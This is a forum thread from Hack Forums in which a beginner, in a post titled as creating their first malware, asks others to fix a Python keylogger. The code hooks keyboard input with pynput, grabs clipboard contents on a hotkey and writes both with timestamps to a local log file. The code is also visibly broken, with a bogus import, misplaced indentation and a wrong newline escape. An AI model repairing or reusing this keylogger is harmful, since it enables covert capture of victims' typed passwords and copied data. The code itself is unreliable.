Hack Forums
Creating my First Piece of Malware.....HELP - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Creating my First Piece of Malware.....HELP (/showthread.php?tid=6135316)



Creating my First Piece of Malware.....HELP - titular - Jan 21, 2021

Hey guys,

I have been working on a piece of code using PyCharm. I am getting some of these problem messages on my code so I wanted to see what I might be doing wrong. I am certain it is something simple but I figured I would get some pretty useful responses on here. All input is welcome.


Code
import now as now
import pyperclip

from datetime import datetime
from pynput.keyboard import Listener, key

KEYSTROKE_LOG_FILE = './logs/keystroke.log'


def log_key_press(key):
    # Process the key press, get contents of clipboard
    key = str(key).replace("'", "'")
    line_to_write = None
    now = str(datetime.now())


if key == 'Key.cmd_r':
    line_to_write = f"{now}: Clipboard - {pyperclip.paste()}"
else:
    line_to_write = f"{now}: Key Press - {key}"

    # Write the output to the file
    with open(KEYSTROKE_LOG_FILE, 'a') as f:
        f.write(f"{line_to_write}/n")

def start():
    # Figure out how to track key presses
    with Listener(on_press=log_key_press) as l:
        l.join()

    if __name__ == '__main__':
        start()



[Image: EbLc42L]